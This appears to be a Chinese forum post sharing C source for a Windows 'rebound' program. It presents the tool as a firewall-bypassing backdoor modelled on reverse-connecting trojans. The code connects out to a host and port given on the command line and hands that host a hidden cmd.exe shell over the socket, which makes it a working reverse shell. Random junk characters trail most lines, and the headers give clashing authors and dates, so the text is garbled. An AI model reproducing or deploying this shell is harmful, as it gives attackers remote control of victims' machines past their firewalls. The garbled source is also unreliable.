这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 68pB*(i
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/* ============================== Gx.iZOOH/
Rebound port in Windows NT yhBf %m
By wind,2006/7 Oy,`tG0
===============================*/ Sjogv
#include 8D[,z 7n
#include 5NT?A,r"
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#pragma comment(lib,"wsock32.lib") RkW)B^#
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void OutputShell(); g'F{;Ur
SOCKET sClient; GOx+%`.R\
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; HalkNR-eEm
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void main(int argc,char **argv) qg(rG5kD@
{ ~sd+ch*
WSADATA stWsaData; xq.HR_\
int nRet; cc"L> XoK
SOCKADDR_IN stSaiClient,stSaiServer; 6jGPmOM/
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if(argc != 3) 6axDuwQ
{ `(RQh@H
printf("Useage:\n\rRebound DestIP DestPort\n"); `9+>2*k
return; v@6TC 1M,
} @L)=epC
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^YpA@`n
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7:Jyu/*]
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stSaiClient.sin_family = AF_INET; r dc}e"v
stSaiClient.sin_port = htons(0); #..-!>lY
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); d]v4`nc
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 6 +:Tv2
{ :[#~,TW
printf("Bind Socket Failed!\n"); x}w"2[fL
return; w_gPX0N}3n
} /<HEcB
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stSaiServer.sin_family = AF_INET; ?H c~ 3
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Dn6 k,nVh
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &*I\~;1
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) m]bv2S+5 y
{ )-_NtMr~`!
printf("Connect Error!"); _d8k[HAJ|
return; reyN5n~4U
} T:$zNX<f
OutputShell(); MI|51&m
} e7{n=M
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void OutputShell() RP2MtP"M
{ Wdt9k.hzN
char szBuff[1024]; xZ51iD$
SECURITY_ATTRIBUTES stSecurityAttributes; y\'t{>U/
OSVERSIONINFO stOsversionInfo; 1PMBo=SUe8
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2V}tDN7c
STARTUPINFO stStartupInfo; wff&ci28
char *szShell; Q0K4_iN)&
PROCESS_INFORMATION stProcessInformation; VrF(0,-Z`3
unsigned long lBytesRead; c2}?[\U]
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); s!\uR.
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); `U4R%
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stSecurityAttributes.lpSecurityDescriptor = 0; xw*T?!r=V
stSecurityAttributes.bInheritHandle = TRUE; la ~T)U7
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); v;S7i>\
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (k9{&mPJ
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); G:FP9
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *p;Fwj]
stStartupInfo.wShowWindow = SW_HIDE; "5mdq-h(
stStartupInfo.hStdInput = hReadPipe; l`L}*Q- 5
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; kji*7a?y
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GetVersionEx(&stOsversionInfo); ;d1\2H
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switch(stOsversionInfo.dwPlatformId) p=U*4[9k
{ {g?$u
case 1: ;BV1E|j
szShell = "command.com"; ](3e +JC
break; U2=l; R{
default: 5qkG~YO-
szShell = "cmd.exe"; ^[}^+
break; <d,Qi.G4
} 75~>[JM
=[!&&,c=
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); "nXL7N0
7/lXy3B4
send(sClient,szMsg,77,0); zhH-lMNj-
while(1) X
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{ dzMlfJp
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); h#9X0u7j
if(lBytesRead) qc_c&
{ :@zz5MB5@
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ]6NpHDip1
send(sClient,szBuff,lBytesRead,0); 4(>|f_$
} e[f}L xln
else 4$LVl
{ t<5$85Y~
lBytesRead=recv(sClient,szBuff,1024,0); ?zW4|0
if(lBytesRead<=0) break; r9<OB`)3+
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ,h,DB=!K<
} m[6?v;w
} Zq7Y('=`t@
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return; [%'yHb~<
}